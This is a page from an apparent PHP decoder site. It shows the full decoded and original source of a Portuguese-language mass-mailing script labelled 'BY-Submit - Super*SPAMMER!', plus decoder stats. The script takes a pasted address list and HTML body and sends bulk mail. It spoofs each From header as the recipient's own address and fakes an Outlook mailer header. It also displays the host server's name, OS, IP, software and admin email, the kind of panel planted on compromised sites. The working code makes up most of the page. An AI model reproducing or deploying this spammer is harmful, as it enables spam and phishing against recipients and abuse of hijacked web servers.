Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $testa = $_POST['veio']; if($testa != "") { $message = $_POST['html']; $subjec..

Decoded Output download

<?php 
$testa = $_POST['veio']; 
if($testa != "") { 
	$message = $_POST['html']; 
	$subject = $_POST['assunto']; 
	$nome = $_POST['nome']; 
	$de = $_POST['de']; 
	$to = $_POST['emails']; 
 
	$email = explode("
", $to); 
	$message = stripslashes($message); 
 
	$i = 0; 
	$count = 1; 
	while($email[$i]) { 
		$ok = "ok"; 
		$headers  = "MIME-Version: 1.0
"; 
        $headers .= "Content-type: text/html; charset=iso-8859-1
"; 
		$headers .= "X-Mailer: Microsoft Office Outlook, Build 17.551210
"; 
		$headers .= "From: ".$email[$i]."
"; 
		if(mail($email[$i], $subject, $message, $headers)) 
		echo "<font color=gren>* N&#1098;mero: $count <b>".$email[$i]."</b> <font color=gren>ENVIADO....!</font><br><hr>"; 
		else 
		echo "<font color=red>* N&#1098;mero: $count <b>".$email[$i]."</b> <font color=red>ERRO AO ENVIAR</font><br><hr>"; 
		$i++; 
		$count++; 
	} 
	$count--; 
	if($ok == "ok") 
	echo "[Fim do Envio]";  
 
} 
 
?> 
<html> 
<head> 
<title>System Incorporation</title> 
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> 
<style> 
body { 
	margin-left: 0; 
	margin-right: 0; 
	margin-top: 0; 
        background-color: #000000; 
	margin-bottom: 0; 
} 
.titulo { 
	font-family: Arial, Helvetica, sans-serif; 
	font-size: 70px; 
	color: #1BF51F; 
	font-weight: bold; 
} 
 
.normal { 
	font-family: Arial, Helvetica, sans-serif; 
	font-size: 12px; 
	color: #1BF51F; 
} 
 
.form { 
	font-family: Arial, Helvetica, sans-serif; 
	font-size: 10px; 
	color: #FFFFFF; 
	background-color: #000000; 
	border: 1px dashed #666666; 
} 
 
.texto { 
	font-family: Verdana, Arial, Helvetica, sans-serif; 
	font-weight: bold; 
} 
 
.alerta { 
	font-family: Verdana, Arial, Helvetica, sans-serif; 
	font-weight: bold; 
	color: #990000; 
	font-size: 10px; 
} 
</style> 
</head> 
<body> 
<form action="" method="post" enctype="multipart/form-data" name="form1"> 
  <input type="hidden" name="veio" value="sim"> 
 
    <tr> 
 
  
<table border="0" width="53%" bordercolorlight="#000000" bordercolordark="#000000" style="border: 1px ridge #1BF51F" bgcolor="black" >  
     <td width="462" height="25" align="center" bgcolor="#000000"><span class="titulo">BY-Submit</span></td> 
<tr align="left">  
<td colspan="2" ><font color="#1BF51F"> 
Nome do Servidor: <?php echo $UNAME = @php_uname(); ?><br> 
Sistema Operacional: <?php echo $OS = @PHP_OS; ?><br> 
Endere&#231;o IP: <?php echo $_SERVER['SERVER_ADDR']; ?><br> 
Software usado: <?php echo $_SERVER['SERVER_SOFTWARE']; ?><br> 
Email admin: <?php echo $_SERVER['SERVER_ADMIN']; ?> <br> 
Safe Mode: <?php echo $safe_mode = @ini_get('safe_mode'); ?> 
</td> 
 
</center> 
 
 
    </tr> 
    <tr> 
      <td height="194" valign="top" bgcolor="#000000"> 
	  	<table width="100%"  border="0" cellpadding="0" cellspacing="5" class="normal" height="444"> 
          <tr> 
            <td align="right" height="17"><span class="texto">Assunto:</span></td> 
            <td height="17"><input name="assunto" type="text" value=""class="form" id="assunto" style="width:100%" ></td> 
          </tr> 
          <tr align="center" bgcolor="#99CCFF"> 
            <td height="20" colspan="2" bgcolor="#000000"><span class="texto">BY-Submit - Super*SPAMMER!</span></td> 
          </tr> 
          <tr align="right"> 
            <td height="146" colspan="2" valign="top"><br> 
             <textarea name="html" style="width:100%" rows="8" wrap="VIRTUAL" class="form" id="html"></textarea> 
              <span class="alerta">*Lembrete: texto em HTML</span></td> 
         </tr> 
          <tr align="center" bgcolor="#000000"> 
            <td height="10" colspan="2"><span class="texto">Lista de emails</span> 
              
          </tr> 
          <tr align="right"> 
            <td height="136" colspan="2" valign="top"><br> 
              <textarea name="emails" style="width:100%" rows="8" wrap="VIRTUAL" class="form" id="emails"></textarea> 
              <span class="alerta">*Listmail</span> </td> 
          </tr> 
          <tr> 
            <td height="26" align="right" valign="top" colspan="2"><input type="submit" name="Submit" id="enviar" value="Enviar"></td> 
          </tr> 
        </table> 
	  </td> 
    </tr> 
    <tr> 
      <td height="15" align="center" bgcolor="#000000">&nbsp;</td> 
    </tr> 
  </table> 
</form> 
</body>

Did this file decode correctly?

Original Code

<?php
$testa = $_POST['veio'];
if($testa != "") {
	$message = $_POST['html'];
	$subject = $_POST['assunto'];
	$nome = $_POST['nome'];
	$de = $_POST['de'];
	$to = $_POST['emails'];

	$email = explode("\n", $to);
	$message = stripslashes($message);

	$i = 0;
	$count = 1;
	while($email[$i]) {
		$ok = "ok";
		$headers  = "MIME-Version: 1.0\n";
        $headers .= "Content-type: text/html; charset=iso-8859-1\n";
		$headers .= "X-Mailer: Microsoft Office Outlook, Build 17.551210\n";
		$headers .= "From: ".$email[$i]."\r\n";
		if(mail($email[$i], $subject, $message, $headers))
		echo "<font color=gren>* N&#1098;mero: $count <b>".$email[$i]."</b> <font color=gren>ENVIADO....!</font><br><hr>";
		else
		echo "<font color=red>* N&#1098;mero: $count <b>".$email[$i]."</b> <font color=red>ERRO AO ENVIAR</font><br><hr>";
		$i++;
		$count++;
	}
	$count--;
	if($ok == "ok")
	echo "[Fim do Envio]"; 

}

?>
<html>
<head>
<title>System Incorporation</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style>
body {
	margin-left: 0;
	margin-right: 0;
	margin-top: 0;
        background-color: #000000;
	margin-bottom: 0;
}
.titulo {
	font-family: Arial, Helvetica, sans-serif;
	font-size: 70px;
	color: #1BF51F;
	font-weight: bold;
}

.normal {
	font-family: Arial, Helvetica, sans-serif;
	font-size: 12px;
	color: #1BF51F;
}

.form {
	font-family: Arial, Helvetica, sans-serif;
	font-size: 10px;
	color: #FFFFFF;
	background-color: #000000;
	border: 1px dashed #666666;
}

.texto {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-weight: bold;
}

.alerta {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-weight: bold;
	color: #990000;
	font-size: 10px;
}
</style>
</head>
<body>
<form action="" method="post" enctype="multipart/form-data" name="form1">
  <input type="hidden" name="veio" value="sim">

    <tr>

 
<table border="0" width="53%" bordercolorlight="#000000" bordercolordark="#000000" style="border: 1px ridge #1BF51F" bgcolor="black" > 
     <td width="462" height="25" align="center" bgcolor="#000000"><span class="titulo">BY-Submit</span></td>
<tr align="left"> 
<td colspan="2" ><font color="#1BF51F">
Nome do Servidor: <?php echo $UNAME = @php_uname(); ?><br>
Sistema Operacional: <?php echo $OS = @PHP_OS; ?><br>
Endere&#231;o IP: <?php echo $_SERVER['SERVER_ADDR']; ?><br>
Software usado: <?php echo $_SERVER['SERVER_SOFTWARE']; ?><br>
Email admin: <?php echo $_SERVER['SERVER_ADMIN']; ?> <br>
Safe Mode: <?php echo $safe_mode = @ini_get('safe_mode'); ?>
</td>

</center>


    </tr>
    <tr>
      <td height="194" valign="top" bgcolor="#000000">
	  	<table width="100%"  border="0" cellpadding="0" cellspacing="5" class="normal" height="444">
          <tr>
            <td align="right" height="17"><span class="texto">Assunto:</span></td>
            <td height="17"><input name="assunto" type="text" value=""class="form" id="assunto" style="width:100%" ></td>
          </tr>
          <tr align="center" bgcolor="#99CCFF">
            <td height="20" colspan="2" bgcolor="#000000"><span class="texto">BY-Submit - Super*SPAMMER!</span></td>
          </tr>
          <tr align="right">
            <td height="146" colspan="2" valign="top"><br>
             <textarea name="html" style="width:100%" rows="8" wrap="VIRTUAL" class="form" id="html"></textarea>
              <span class="alerta">*Lembrete: texto em HTML</span></td>
         </tr>
          <tr align="center" bgcolor="#000000">
            <td height="10" colspan="2"><span class="texto">Lista de emails</span>
             
          </tr>
          <tr align="right">
            <td height="136" colspan="2" valign="top"><br>
              <textarea name="emails" style="width:100%" rows="8" wrap="VIRTUAL" class="form" id="emails"></textarea>
              <span class="alerta">*Listmail</span> </td>
          </tr>
          <tr>
            <td height="26" align="right" valign="top" colspan="2"><input type="submit" name="Submit" id="enviar" value="Enviar"></td>
          </tr>
        </table>
	  </td>
    </tr>
    <tr>
      <td height="15" align="center" bgcolor="#000000">&nbsp;</td>
    </tr>
  </table>
</form>
</body>

Function Calls

explode 1
stripslashes 1

Variables

$i 0
$de None
$to None
$nome None
$count 1
$email None
$testa None
$message
$subject None

Stats

MD5 5146b65eb00c5d7a26f0554656852eb0
Eval Count 0
Decode Time 367 ms